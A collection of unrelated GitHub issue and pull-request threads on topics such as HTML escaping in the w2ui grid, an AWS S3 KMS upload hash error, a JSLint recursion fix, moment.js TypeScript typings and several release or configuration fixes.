Again, you absolutely right about sanitizing HTML rendering on server side, and trust to your server, but... In case of GENERIC service how can you do any sanitizing? Imagine a server has "Items" service, and an item has weird name like "<script..." - why not?! As generic service it should return data as is, and NOT as "<script..." or "script..." because it is generic and not intended only for HTML - may be I will consume the service in C# code.
Speaking about trusted server I would like to add that it's quite common to AJAX 3rd party public  data feeds instead of your own server, so in such case you can't trust to these data.
OK, generally I understood that it is not a BUG - it is a FEATURE of the grid :) My main point that I currently see in the grid strong coupling between rendering and business logic (like searching data for highlighting). With such coupling I don't surprise that "...there are some bugs..." - the w2marker() function is a "good" example. IMHO better choice if grid will provide facilities for clean separation of final rendering from original data and logic. In such case it's quite possible that rendering will be simpler, business logic without bugs and ready for any arbitrary data, and there will be no (potential) security issues.
BTW, I would like to thank you for the great library! I very like it, and I'm just trying to do constructive critics ;) Thanks!

Appreciate your comments, will definitely keep this in mind to come with some solution.

I also consider this as a major issue. It is not only about XSS attacks. This also makes it impossible to edit inline text starting with angle bracket. For example: <item.
This library is great and beautiful, but it blindly renders everything.

So for security reasons make sure you use row => w2utils.encodeTags(row.field) for every text field, and do not allow inline editing for text fields.


TransferUtility gives hash error if bucket has encryption enabled

On a bucket setup with write/list permissions and encryption enabled the TransferUtility correctly uploads the file to the bucket but reports the following error back on each file upload:
"Unable to verify integrity of data upload.  Client calculated content hash didn't match hash calculated by Amazon S3.  You may need to delete the data stored in Amazon S3."

Note this only occurs with AWS Key Managment Service Key as the key type.  Amazon S3 Key seems to work fine.

Not reproducible using the following code with Amazon S3 key (SSE-S3) as Encryption key type:
using System;
using System.Threading.Tasks;
using Amazon;
using Amazon.S3;
using Amazon.S3.Transfer;

namespace TransferUtilityEncryptUpload_Issue1794
{
    class Program
    {
        private const string bucketName = "<bucketname>";
        private const string filePath = "<full_file_path>";

        // Specify your bucket region (an example region is shown).
        private static readonly RegionEndpoint bucketRegion = RegionEndpoint.USEast2;
        private static IAmazonS3 s3Client;

        public static void Main()
        {
            s3Client = new AmazonS3Client(bucketRegion);
            UploadFileAsync().Wait();
        }

        private static async Task UploadFileAsync()
        {
            try
            {
                var fileTransferUtility = new TransferUtility(s3Client);

                await fileTransferUtility.UploadAsync(filePath, bucketName);
                Console.WriteLine("Upload completed");

            }
            catch (AmazonS3Exception e)
            {
                Console.WriteLine("Error encountered on server. Message:'{0}' when writing an object", e.Message);
            }
            catch (Exception e)
            {
                Console.WriteLine("Unknown encountered on server. Message:'{0}' when writing an object", e.Message);
            }
        }
    }
}

One possible difference is that we are using a userid/key that only has write and list permissions.  Below is a code snippet.  We reproduced using this code on two different AWS organizations.  Both when the bucket is set to AWS Key Management Service key (SSE-KMS) failed.  We are using the following:
'com.amazonaws:aws-android-sdk-core:2.15.+'
'com.amazonaws:aws-android-sdk-cognito:2.15.+'
'com.amazonaws:aws-android-sdk-s3:2.15.+'
'com.amazonaws:aws-android-sdk-ddb:2.15.+'
`	BasicAWSCredentials credentials = new BasicAWSCredentials(	AWS_KEY, AWS_SECRET);
AmazonS3Client s3Client = new AmazonS3Client(credentials);
s3Client.setRegion(Region.getRegion("us-east-2"));
	TransferUtility transferUtility =
		TransferUtility.builder()
			.context(MainApplication.getAppContext())
			.s3Client(s3Client)
			.build();

	File file = new File(fileName);
	if (file.exists()) {
		int pos = fileName.lastIndexOf('/');
		String nameOfFile = fileName.substring(++pos);

		TransferObserver uploadObserver =
				transferUtility.upload(AWS_BUCKET, "app-logs/" + getFormattedBikeSerialNumber() + "/" + nameOfFile, file);`

Hi @dlippy,
Good morning.
Looks like you are using AWS Java SDK. Kindly confirm which version (v1 or v2). You have wrongly opened issue in AWS .NET SDK repository.
Thanks,
Ashish

Ashish,
Sorry for the confusion.  We are using v2.  I will close this and create issue in the correct repo.

No problem. I could have helped you transfer this issue over.


as a user, i do not want jslint to crash from excessive-recursion

sometimes in nodejs, when async/simultaneous linting multiple-files with large number of [machine-generated] leading-newlines, jslint will crash with a RangeError("Maximum call stack size exceeded")
this patch mitigates the above scenario by avoiding unnecessary-recursion while parsing leading-emptylines.
live web-demo of patch available at https://kaizhu256.github.io/JSLint/branch.remove_unnecessary_recursion/

screenshot - jslint crashing from recursing through excessive leading-emptylines

screenshot - patched jslint no longer crashes

The ES6 Standard requires that engines not produce that error. Use a standards compliant JavaScript engine.

@douglascrockford, your suggestion is impractical on the server-side, where v8/nodejs is the only javascript-engine available for most developers.
you may have a point that v8 shares the blame for refusing to implement PTC, but having this issue remain in jslint for indefinite future, makes jslint unsuitable for production-use, as it causes random/flaky crashes in nodejs' nondeterministic gc (i'm constantly guessing whether or not my server will crash while its auto-jslinting files in background).

File bug reports with Node and V8.

i did file a related v8-bug at https://bugs.chromium.org/p/v8/issues/detail?id=8234 (filing a nodejs bug is pointless, as its a v8 problem).
the v8-team assigned it a priority 3, and i don't see them in a hurry to fix it (if ever).  iirc, they actually removed their ptc-code, as it was bit-rotting.  and tc39 is indifferent/in-limbo about engines not following the spec; v8-team made strong performance-related arguments about their decision to revert-implementation [1].
in short,  the only way this issue will get fixed in forseeable-future is by us alone.
[1] tc39 2016-05-25 meeting with no consensus on implementing/enforcing es6 ptc-spec.
https://github.com/rwaldron/tc39-notes/commit/8535bca63c760a43c9d9e0e833dbebf6aeb349c8#diff-f5913216f5ca569e27c22de2b2ecef31R1019

can we revisit this pull-request to un-recurse function lex()?

proper-tail-call spec seems to have no future in any of the js-implementations besides jsc

i've been using this patch on my custom jslint with no problems since this pull-request was submitted:

/*
 * patched jslint i've been using since november 2018 at
 * https://github.com/kaizhu256/node-utility2/blob/2019.8.1/lib.jslint.js#L3215
 */
-        if (!source_line) {
-            source_line = next_line();
-            from = 0;
-            return (
-                source_line === undefined
-                ? (
-                    mega_mode
-                    ? stop_at("unclosed_mega", mega_line, mega_from)
-                    : make("(end)")
-                )
-                : lex()
-            );
-        }
+        // jslint-hack - un-recurse
+        while (!source_line) {
+            source_line = next_line();
+            from = 0;
+            if (source_line === undefined) {
+                return (
+                    mega_mode
+                    ? stop_at("unclosed_mega", mega_line, mega_from)
+                    : make("(end)")
+                );
+            }
+        }

I've been using the babel plugin for tail call optimization with success.  Maybe you could run jslint through back with only that plugin.
https://github.com/krzkaczor/babel-plugin-tailcall-optimization/issues?q=is%3Aissue+is%3Aclosed

@aonghusonia This was fixed in https://github.com/douglascrockford/JSLint/commit/efefb7d4e22359b6fb1977d33712bcc2fda95f14.


feat: moment.d.ts TypeScript definition

support for typescript type definition

Do we want to maintain the TypeScript definitions ourselves, rather than going through DefinatelyTyped?  What does this do to the release process?  How do we ensure the TSD covers the entire API, and what tests to we need to add to ensure we don't break something or miss something in the TSD when we make changes in moment?  How are other libraries dealing with this?

I'm -1 on this for exactly the concerns @mj1856 cites.

@gdi2290 did you generate this by hand? Does typescript support fetching the typings from a different repo? You can mirror moments releases and make the changes to the file yourself (because you know how).
Just maintaining this on our end will be hard.

@blakeembrey (maintainer of typings and tsd) offered to maintain the file in this repo so long as you cc him in emails for breaking changes. The moment definition file was created by the community and I updated it to the new format. moment is one of the first modules everyone installs for angular applications and with the introduction of TypeScript with Angular 2 everyone is going to run into this problem. If a module doesn't provide type definition files then the developer will have to use something like typings to manage their type definitions.

@blakeembrey - can you confirm that you will own this file and its maintenance?  If so, I think the request is reasonable and we can move forward.
We should also review for alignment to current feature set, including anything introduced with the latest 2.12.0.
@gdi2290 - Interesting note about Angular.  I would have thought that angular's own date filter would be the norm, and moment would be secondary.   It's also interesting when you consider @urish's angular-moment project.  Should typescript definitions be done there as well?

yup, the type definition in the angular2-moment would work for Angular 2 but it's considered bad practice to leak typings. For everyone else, (ember and react users are getting into typescript) they would also need to create their own moment adapters and maintain the type definition as well as keep it updated. At the moment angular2-moment is on an outdated version of Angular 2 so if users want to use moment and the latest version of Angular 2 they need to use typings

@gdi2290 angular2-moment no longer includes moment's typing. As of 0.4.0 it only includes its own typings, so users of angular2-moment also need to use typings.

@mj1856 Sorry for the delay, I wanted to do some patches to Typings and write a proper proposal around maintaining definitions for the community. Yes, I am happy to maintain the definition for you and you just need to ping me (or other @typings collaborators) when an API change occurs so we can stay in sync before releases occur.
If that sounds good, I can start with a PR for the initial type definition and we can go from there.
More information: https://github.com/typings/typings/issues/322.

@blakeembrey we could easily ping you for releases. So we decide to keep the typings outside of moment for now? Otherwise we have to fix the api of the next release, ping you, wait for you to update, and then put the new mappings in the code, then release.
Or we can try to update the typings on our own, and you can just codereview. If there is something terribly broken we can issue a patch release. Is there a tool that checks the syntax of the typings file?

@ichernev Thanks for the question, it's going to help to figure out how to present the proposal better.
By keeping the typings outside of moment, all your TypeScript users will have to continue using a third-party tool to get their typings. It's not the end of the world, but obviously immediate support with worrying about anything else for users would be better. We definitely don't want to be blocking releases, TypeScript definitions are only the external API shape so we should only need to collaborate for minor and major changes. If you ping and leave us 24-48 hours before releasing, that should be plenty of time to have up to date type definitions for the next release.
Updating typings yourself will probably happen either way, since it's very simple once you see the changes once or twice. I'm sure if we contribute a couple of times, you'll be able to maintain it easily (but we can still be around in case that's not something you want).\

Is there a tool that checks the syntax of the typings file?

The TypeScript compiler itself is probably the best way, as part of the first PR we can come up with the CI side of things too.

This sounds reasonable to me.  Is this current PR good enough to start with?

I think so, since you'd know the API better than me definitely shout if you notice anything. The next thing we should do is try to enrich the .d.ts with some documentation. It'll show up in IDEs during autocompletion.

It can be updated to define string literals for unit types.
Also it

OK, when I prepare the next release I'll try to add the new API, which somebody can review. Adding docs here ... it gets more complicated, because we also have docs on the website. If we can somehow use one in the other it will be best, but definitely not right now :)

Merged in 3a3e6cceeaef61dc7c25a6bc3262ec300f0df131

@blakeembrey hey, this are my changes for 2.13.0: f339260

Sweet, LGTM.

Hi guys, moment.max() and moment.min() appear to be broken. If you pass in moment.max([moment(), moment()]) the ts comiler throws
Argument of type 'Moment[]' is not assignable to parameter of type 'Moment'.   Property 'format' is missing in type 'Moment[]'.


How can i limit height for multiline

I want to set max height for input. If content over max height, it shows scroll.
How i can do that? Thanks!

Good question. It is currently not supported but it would be a really nice addition if you have the time to submit a pull request.
The component internally uses a UITextView so it should be possible to specify a maximum height.

This is a very big problem! :(

Have you guys tried to use autolayout for achieving this? Set a height constraint lower than or equal to some value.
I will try to take a look at this and see if I can manage to do it.

Hi ✌🏼
Please take a look at #112. My PR addresses your issue :]


Add Box component

needs a bit more polishing, but to get the idea...

Thanks Joschka! This will simplify many things! I luv it :smiley:

@SannyNguyenHung Thank you very much for the comments. I appreciate the feedback. As a next step I will fix and clean some things and resolve the conflicts with main.


How to delete unsent messages in the input box

Do you have an API to delete unsent messages in the input box?

Hi, created function by https://github.com/wppconnect-team/wa-js/commit/ebb247ee1bb013167c2c9e720a0ca642ee70f997


Add update command

Need a command that will update the cli instead of having to manually run yarn global upgrade @workshop-cli/workshop-cli. It would be better to just run something like workshop update or workshop upgrade

Closing this out. Not a priority at the moment.


Dashboard for Lifecycle: Completely Blocked for creating new Life cycle rule after an error occured

Click create Lifecycle rule
keep clicking Add Rule for 5 times
add configuration values
Not able to delete the rules
Not able to Click OK button
Click Cancel.. and Create button again...previous data only showing.. show its completely blocked now to create Life cyecle config

/assign @yuejuSDS

@skdwriting Needs to be fixed

@jimccfun please update the status here

@satya-gorli About this problem, if we execute the first three steps, and in the fourth step, we can click the delete button to delete rules. I tried to delete rules normally. Can you repeat that you cannot delete rules? For step 6, I tried to click the cancel button and click the create button again, without showing the previous data, so can you repeat step 6?

@jimccfun @nguptaopensds Please verify if this issue is fixed. If not please inform if this needs to be fixed.

@satya-gorli Not able to reproduce this in the latest version of the code. Closing this now. Please reopen if you can still reproduce this issue.
@jimccfun Were you able to reproduce this issue? If yes then please let us know.


Docker-compose fails: ERROR: manifest for confluentinc/cp-zookeeper:5.4.x-latest not found: manifest unknown

Hi I just tried to do a docker-up for the music application and I get:
5.4.0-post u= ~/projects/kafka-streams-examples: git checkout 5.4.0-post
Already on '5.4.0-post'
Your branch is up to date with 'origin/5.4.0-post'.
5.4.0-post u= ~/projects/kafka-streams-examples: docker-compose up -d
Creating network "kafka-streams-examples_default" with the default driver
Pulling zookeeper (confluentinc/cp-zookeeper:5.4.x-latest)...
ERROR: manifest for confluentinc/cp-zookeeper:5.4.x-latest not found: manifest unknown: manifest unknown

I replaced 5.4.x-latest with 5.4.0 in docker-compose.yml.

Why did you replace 5.4.0 with 5.4.x-latest? Did you try it with 5.4.0 since it's been released?

Should the docker-compose file reflect that?

@arroadie guess I should've actually checked the docker-compose, yes it should be 5.4.0. It looks like our release scripts missed this. I'll submit a PR to fix this on 5.4.0-post right now
@starkcoffee sorry I think I misread your comment. Anyways you need to replace all instances of 5.4.x-latest with 5.4.0, based on the error it looks like the zookeeper image at least is still looking for 5.4.x-latest (which does not exist). I just verified that docker-compose up -d works fine on my branch with the image names fixed -- you can go through and replace them all yourself, or just pull the fix once it's merged.
Thanks to both of you for pointing this out!

https://github.com/confluentinc/kafka-streams-examples/pull/320


Add 1Password

Microsoft Reviewers: Open in CodeFlow

@alanlima thanks for submitting 1Password package! I'm 1Password for Windows development team lead, one of the checks are failing with

##[warning] Manifest Warning: Silent and SilentWithProgress switches are not specified for InstallerType exe. Please make sure the installer can run unattended.

This can be fixed by running 1PasswordSetup-7.4.767.exe --silent
Do you mind updating your PR with it?

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: alanlima sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

Thanks @galich and @MrRooni 😀
I made an amend to includes --silent flags as recommended.
I also updated the manifest's description.


chore(release): v0.9.1 🎉

:robot: I have created a release *beep* *boop*
0.9.1 (2022-11-26)
Bug Fixes

errors: add potential solutions to the nested hydration error messages (e5fc797)
errors: make errors on nested domain object hydration easier on the eyes (d9230f1)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/ehmpathy/domain-objects/releases/tag/v0.9.1 :sunflower:


Migrate to k256

Separate commits for some namespace/dependency clarity and then the migration itself in its own commit.

addresses https://github.com/hyperledger/ursa/issues/163

addresses https://github.com/hyperledger/ursa/issues/163

It looks like you guys are super on top of this.  Would you all like me to go over this too?

It looks like you guys are super on top of this. Would you all like me to go over this too?

It looks like you guys are super on top of this. Would you all like me to go over this too?

I'd rather not have to fix the things the other chaps let me get away with. But do as you see fit. ;)

"Chaps"?  I guess I'll have to respond with similar language.
I ain't always trust them other chaps, but seein' as you ain't touch them maths, them other chaps do a purty fine job o' gettin' it all right.  I took me an eyeball to your writin's, 'n they seem darn OK.  So as long as them test cases still run like a well oiled John Deere, I'm happier'n a pig 'n a sty to give you a +1.


Automated Package Upgrade

:tada: This PR is included in version 2.2.301 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


[experiment] Add resource time limit and rate limiting

Description
This PR extends the add_limit function to add time limits and rate limits to resources. This approach is to be discussed,  but very straightforward, easy to test and works for both sync and async resources.
TODOs (if we go this route):

More tests that test pipe iterators with multiple resources (we want to allow a global rate limit for APIs for example)
Docs
Extend source level add_limit to have the same functionality as the resource level one
Improve the logger warning if add_limit is declared on non-incremental resources.
Investigate fifo extractor strategy, maybe do not go to round robin if none is yielded...

Other thoughts:

We might want to apply the rate limit wait also once before the original generator is used plus allow rate limiting on the transformers, otherwise global rate limiting for APIs will not work.

Closing this PR in favor of:

https://github.com/dlt-hub/dlt/pull/2149
https://github.com/dlt-hub/dlt/pull/2131

@joscha the api rate limiting things you have suggested would be a layer above in the rest_api implementation. There might already be a ticket for this or you could open a new one.

would be a layer above in the rest_api implementation

Okay. How so, if it relies on a 429 answer or an explicit rest API resource returning the limits? Would you assume each resource to have some sort of hook to report back any time limits?


WIP: 3-ci-srv-06: [no-test] Check for NPM dependency updates

Check for any outstanding update of point version of any outstanding NPM package dependency

[ ] npm-update

npm-update in progress on 4-ci-srv-06.
Log: https://<IP_ADDRESS>:8493/logs/npm-update-693-20190605-133636/

npm-update in progress on 3-ci-srv-06.
Log: https://<IP_ADDRESS>:8493/logs/npm-update-693-20190605-133636/

npm-update in progress on 4-cockpit-7.
Log: https://<IP_ADDRESS>:8493/logs/npm-update-693-20190605-134141/


sh:message ignored when reporting validation result

The sh:resultMessage property is intended to provide an easy to read message for a particular shape violation, and is recommended to be  based on the value of the sh:message property for a particular shape. For example, when we have the shape:
:groupShape a sh:NodeShape ;
   sh:property [
     sh:path :member ;
     sh:minCount 1 ;
     sh:message "There should be at least 1 member in each group" .
   ].

Any group instance that violates this shape constraint should be reported as:
[] a sh:ValidationResult;
  sh:resultSeverity sh:Violation;
  sh:sourceShape :groupShape;
  sh:sourceConstraintComponent sh:MinCountConstraintComponent;
  sh:focusNode :group_1;
  sh:resultPath :member;
  sh:resultMessage "There should be at least 1 member in each group" .

The current validation report, however, ignores these messages - they are not included in the validation report at all.

I've changed this issue and the other one from bug to enhancement since it's not something we have implemented or document that we support. It's part of the spec, but we're clear that we haven't implemented the entire spec yet.

That's up to you, but calling it an enhancement rather than a bug means we can not include a fix for this in a patch release.

It's consistent with how we have treated SHACL features so far.

Scheduling to include for 3.6.0, where (if I understand correctly) this will be fixed "for free" by the SHACL AST rewrite.

We now parse the field, but we don't do anything with it really.